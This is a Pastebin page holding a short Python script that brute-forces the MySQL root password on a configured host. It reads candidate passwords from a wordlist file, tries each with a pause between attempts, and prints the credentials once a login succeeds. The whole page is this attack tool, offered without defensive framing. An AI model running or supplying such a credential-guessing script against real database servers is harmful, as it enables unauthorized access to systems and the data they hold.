Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- import mysql.connector
- from mysql.connector import errorcode
- import os
- import sys
- import time
- password = "xxxx"
- hostr = "127.0.0.1"
- def force(passw):
- try:
- user = "root"
- pass2 = str(passw)
- cnx = mysql.connector.connect(
- user="root",
- password=passw,
- host=hostr,
- database='employees')
- except mysql.connector.Error as err:
- if err.errno == errorcode.ER_BAD_DB_ERROR:
- print(" [+] Success!\n [+] User: " + user + " Pass: " + passw + "\n")
- return False
- elif err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
- return True
- finally:
- time.sleep(0.5)
- def main():
- reader = raw_input("Give target list: ")
- f = reader
- print("\n [*] Scanning credentials on " + hostr + " ...")
- with open(f) as fp:
- for line in fp:
- currentline = line.split(",")
- StrL = str(currentline)
- if "//" in StrL:
- pass
- else:
- host = StrL.replace("\\n","")
- host = host.replace("[","")
- host = host.replace("]","")
- host = host.replace(" ","")
- passw = host.replace("'","")
- call = force(passw)
- if call == False:
- break
- print("done!")
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement